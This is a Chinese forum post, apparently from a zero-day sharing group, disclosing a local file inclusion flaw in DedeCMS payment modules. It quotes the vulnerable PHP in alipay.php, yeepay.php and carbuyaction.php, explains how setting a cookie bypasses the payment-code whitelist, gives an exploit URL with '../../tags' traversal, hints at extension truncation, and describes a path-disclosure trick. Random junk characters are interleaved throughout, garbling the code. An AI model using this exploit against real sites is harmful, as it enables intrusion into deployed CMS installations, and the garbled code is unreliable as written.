晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
% E9 m# s3 J/ x) b6 _8 A$ {/ o9 y% X' p# }$ y
出现漏洞的两个文件为:
- T/ B0 T" y2 S$ u$ b5 ~7 S0 JInclude/payment/alipay.php
7 i- ^ D G2 sInclude/payment/yeepay.php
& w R* u8 L- A1 }漏洞均出现在respond方法里,估计这两个文件是临时工写的。8 m' @5 }. I: ?5 d" g: a
6 X- t. I+ `4 S! ^
Include/payment/alipay.php
7 o$ v3 M- w* l& k0 I
, H7 W2 J* h& t2 N/ H- W6 A2 D......; I2 J, `. Y# |+ A5 o
function respond()
; X( G; B5 ]) W! Z- V N3 y {
1 Y3 F) ^+ p1 E7 q" [" S# }/ r" N if (!empty($_POST))9 L, d9 `4 ^- r. V% C/ M
{/ S( y1 I7 l- |: w# }! ~ g! M
foreach($_POST as $key => $data)% P3 G8 I* n1 M, M
{
+ ?& K6 ` M7 [5 B $_GET[$key] = $data;8 _) j% n3 \6 `' u' d0 \
}% K/ i: Y6 u7 h( H# |
}( y/ L8 K$ g3 j# A
/* 引入配置文件 */4 u: Z# _ `- ?4 x
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';. Q: t: V4 B2 g0 c. W1 v, ^
...... , R: \1 \- k3 d
) ~' Z# J" m4 t
x# x' n$ o5 N7 G( U大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。& P3 k4 V [. N4 r" z
$ Z* }% t4 p& v( pInclude/payment/yeepay.php3 W, I" c/ @; `0 ?. L
X {% v6 a( `" d/ E2 x1 ~ ( J2 U3 X1 j) ~, N
; y8 c8 Z0 l7 r$ o2 M- l$ \
......$ y) q1 x; @2 h0 X
function respond()! l6 Q' `( ?* o
{
# l. _8 M0 O J) }/ }
5 B, ~: f( T9 T$ N% f0 ` /* 引入配置文件 */& U1 F% z( i' [3 p8 k
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
) K8 B# r4 p+ ^5 Y/ b " ^% G3 m, e' e; s4 h+ Y- h5 z
$p1_MerId = trim($payment['yp_account']); R$ K) O# Q! C& w9 F
$merchantKey = trim($payment['yp_key']);! p/ w) H" Y! `1 l4 E
...... ( a) M3 K9 S" I( }: a) k# \
& ?# y( t0 V% t) v3 \! m5 Y$ Y% X
2 I1 ?; f4 R3 S x% r% v' w
/ } [) e4 c; W a
' x/ D' f e: k大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
6 R; z9 t" M r9 h- j4 G, P! T ? K* B: R" r9 c
这两个方法在plus/carbuyaction.php文件调用。% d, O% l# A* a8 @7 J, C$ q
/ X" }0 k* U3 E' L+ Aplus/carbuyaction.php
2 w/ k1 Q% r- Q4 e) K7 N. f' R9 P
3 s$ q$ Z/ `. Q% y+ X- b- j......
6 n# A- k; \% e! q4 H} else if ($dopost == 'return') {
, u- Y0 D6 M7 F5 q6 m$ K; q. N $write_list = array('alipay', 'bank', 'cod', 'yeepay');. r. ^$ Z/ |8 m4 _; ^. i- K% j$ j, S$ p
if (in_array($code, $write_list))
& F* a# K: a( T) n {
& i. W$ v' _* [) w/ s, u' | require_once DEDEINC.'/payment/'.$code.'.php';- z- W8 ]9 Y4 M1 U! v9 ^
$pay = new $code;- J$ K u3 M1 i) l# {) O
$msg=$pay->respond();
1 l( h# Y' `' m& C3 e8 v, @ ShowMsg($msg, "javascript:;", 0, 3000);
f0 w6 L1 \9 D8 [/ G$ _! L3 F exit();
/ q4 K) r8 E4 j8 t7 D } else {
( }$ l$ E% i, I0 n) y8 w8 i3 e exit('Error:File Type Can\'t Recognized!');2 {" L' K! N. O" }8 Z2 L
}
* a- ^- s- p& `$ L! Y8 |9 x c}
5 \+ Q4 a, v! X" `" Y v) d# v...... . a: R. }2 {$ U/ A- _
" _1 \6 V: z: }$ k1 E7 x3 V; [5 M* c
5 `9 i$ p4 ^$ {' K! A, N5 q+ y
H8 y8 t7 w3 x' K4 Z- k
0 ?) O" c# O) b! D 3 f+ }8 l8 K$ D
1 I5 c' W2 D Q' o9 _
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
: g- S5 i, w* O* T# ^" B m# V所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。1 L& z: f; Q* }; ^ c- d1 u. p4 @
) L/ `9 ^4 b* ]( I. x* D; _2 ^% q回到include/common.inc.php来看看他的机制。& a6 Z0 ~) O2 Z0 ?
9 g* y, V2 C/ Q9 c* ~, l2 [
* _% A# H" a. f% g$ {+ U
1 q; u! F& X) z5 G. f......$ ?4 b) F9 F" U2 G# z: ] `
foreach(Array('_GET','_POST','_COOKIE') as $_request) V7 q8 i2 S( h
{; L6 P& \* A& M5 R
foreach($$_request as $_k => $_v) . Y( f0 _4 O5 M" E$ Q: B8 j
{# l" C. y a+ P
if($_k == 'nvarname') ${$_k} = $_v;
* Y* ]' o, Z3 h( u: O else ${$_k} = _RunMagicQuotes($_v);# Z# P0 f7 f- t9 w
}7 u; m7 X- G3 n l; T; @1 g- d8 s
}
; \' B i- Z5 g...... 8 s* \! |8 {$ y9 T o8 U5 S( S
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
, n+ q- d; ~3 U$ n# i t( R9 H由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |